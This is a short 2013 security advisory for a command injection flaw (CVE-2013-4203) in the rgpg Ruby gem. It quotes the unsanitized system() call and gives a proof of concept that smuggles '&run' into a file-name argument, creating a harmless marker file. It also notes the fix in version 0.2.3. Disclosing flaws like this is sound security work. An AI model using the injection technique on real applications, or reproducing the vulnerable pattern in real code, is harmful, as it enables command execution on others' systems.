Title: Rgpg 0.2.2 Ruby Gem Remote Command Injection

Date: 7/31/2013

Advisory Author: Larry W. Cashdollar, @_larry0

CVE: CVE-2013-4203

Download: https://rubygems.org/gems/rgpg


"A simple Ruby wrapper around gpg command for file encryption.

rgpg is a simple API for interacting with the gpg tool. It is specifically designed to avoid altering global keyring state by creating temporary public and secret keyrings on the fly for encryption and decryption."


The following code snippet does not sanitize user supplied input before passing it to the System () function for execution. If this ApI is used in the context of a rails application remote commands can be injected into the shell.

in lib/rgpg/gpg_helper.rb:

 68       begin
 69         outputfile.close
 70         result = system("#{commandline} > #{output_file.path} 2>&1")
 71       ensure


Our test code:
larry@sp0rk:~$ cat /bin/run

echo "Command Injection" > /tmp/rci.txt

irb(main):027:0* Rgpg::GpgHelper.encrypt_file 'mykey.pub', 'myfile.txt', 'myfile.txt.enc&run'
=> nil
irb(main):028:0> gpg: keyring `/tmp/gpg-key-ring20130804-2970-1et1k4c' created
gpg: processing message failed: eof

After above completes:

larry@sp0rk:~$ ls -l /tmp/rci.txt 
-rw-rw-r-- 1 larry larry 18 Aug  4 11:12 /tmp/rci.txt
larry@sp0rk:~$ cat /tmp/rci.txt 
Command Injection

Author: Notified 8/1/2013.

Fixed: in 0.2.3. 8/1/2013.

Greets to all@DEFCON21.